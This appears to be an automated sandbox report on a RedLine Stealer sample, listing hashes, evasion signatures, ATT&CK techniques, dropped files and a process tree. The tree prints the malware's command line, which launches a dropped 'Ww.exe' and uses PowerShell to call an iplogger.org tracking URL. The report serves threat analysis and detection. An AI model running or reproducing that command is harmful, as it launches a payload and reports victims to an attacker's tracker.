Analysis

  • max time kernel
    131s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    15-02-2022 13:42

General

  • Target

    49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.exe

  • Size

    2.6MB

  • MD5

    8fbf01af64c7bb1289a26b1f7574ae9e

  • SHA1

    bcb617c6977334e789f9eace561f1c931024b32c

  • SHA256

    49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec

  • SHA512

    0cdac73d08652435e48ea05dd73cc414a212c40dcc62b96c637a2a2cd35e24aafecdc99f1c9f023089bf16c6a9dc3b87dae5d38ffa58878820ec32c1cd1fbe62

Malware Config

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Executes dropped EXE 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 2 IoCs
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.exe
    "C:\Users\Admin\AppData\Local\Temp\49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:832
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c start "" "Ww.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1BHHn7"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:892
      • C:\Users\Admin\AppData\Local\Temp\Ww.exe
        "Ww.exe"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        PID:592
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1BHHn7"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1900

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Virtualization/Sandbox Evasion

1
T1497

Discovery

Query Registry

2
T1012

Virtualization/Sandbox Evasion

1
T1497

System Information Discovery

3
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\Ww.exe
    MD5

    55232b7cee343da1464106a4ef76e98f

    SHA1

    f2b672a29b86400d87f1f6dcde6341051770cd55

    SHA256

    96a2adaa6de0944e24be94cbf2c89e35babbea9e2cb00ddcdb560d9f33a362fc

    SHA512

    0c4bc94b9fc05cf59661a950520e9cef0a9e37c3307783cbc490d834a09852632467583b59fe836dce47b17e51407d1aa66b1b70ea8a0da3f5bf8e3a8ab13f8c

  • C:\Users\Admin\AppData\Local\Temp\Ww.exe
    MD5

    55232b7cee343da1464106a4ef76e98f

    SHA1

    f2b672a29b86400d87f1f6dcde6341051770cd55

    SHA256

    96a2adaa6de0944e24be94cbf2c89e35babbea9e2cb00ddcdb560d9f33a362fc

    SHA512

    0c4bc94b9fc05cf59661a950520e9cef0a9e37c3307783cbc490d834a09852632467583b59fe836dce47b17e51407d1aa66b1b70ea8a0da3f5bf8e3a8ab13f8c

  • \Users\Admin\AppData\Local\Temp\Ww.exe
    MD5

    55232b7cee343da1464106a4ef76e98f

    SHA1

    f2b672a29b86400d87f1f6dcde6341051770cd55

    SHA256

    96a2adaa6de0944e24be94cbf2c89e35babbea9e2cb00ddcdb560d9f33a362fc

    SHA512

    0c4bc94b9fc05cf59661a950520e9cef0a9e37c3307783cbc490d834a09852632467583b59fe836dce47b17e51407d1aa66b1b70ea8a0da3f5bf8e3a8ab13f8c

  • \Users\Admin\AppData\Local\Temp\nstEA2.tmp\HCSWCJXJIH35BU.dll
    MD5

    293165db1e46070410b4209519e67494

    SHA1

    777b96a4f74b6c34d43a4e7c7e656757d1c97f01

    SHA256

    49b7477db8dd22f8cf2d41ee2d79ce57797f02e8c7b9e799951a6c710384349a

    SHA512

    97012139f2da5868fe8731c0b0bcb3cfda29ed10c2e6e2336b504480c9cd9fb8f4728cca23f1e0bd577d75daa542e59f94d1d341f4e8aaeebc7134bf61288c19

  • memory/592-66-0x00000000779A0000-0x00000000779A2000-memory.dmp
    Filesize

    8KB

  • memory/592-62-0x0000000077091000-0x0000000077092000-memory.dmp
    Filesize

    4KB

  • memory/592-61-0x0000000077094000-0x0000000077095000-memory.dmp
    Filesize

    4KB

  • memory/592-63-0x000000007611E000-0x000000007611F000-memory.dmp
    Filesize

    4KB

  • memory/592-68-0x00000000744DE000-0x00000000744DF000-memory.dmp
    Filesize

    4KB

  • memory/592-69-0x0000000000250000-0x0000000000950000-memory.dmp
    Filesize

    7.0MB

  • memory/592-75-0x00000000052D0000-0x00000000052D1000-memory.dmp
    Filesize

    4KB

  • memory/832-55-0x00000000763F1000-0x00000000763F3000-memory.dmp
    Filesize

    8KB

  • memory/1900-70-0x0000000073861000-0x0000000073862000-memory.dmp
    Filesize

    4KB

  • memory/1900-71-0x0000000002510000-0x0000000002511000-memory.dmp
    Filesize

    4KB

  • memory/1900-72-0x0000000073862000-0x0000000073864000-memory.dmp
    Filesize

    8KB

  • memory/1900-73-0x0000000002511000-0x0000000002512000-memory.dmp
    Filesize

    4KB

  • memory/1900-74-0x0000000002512000-0x0000000002514000-memory.dmp
    Filesize

    8KB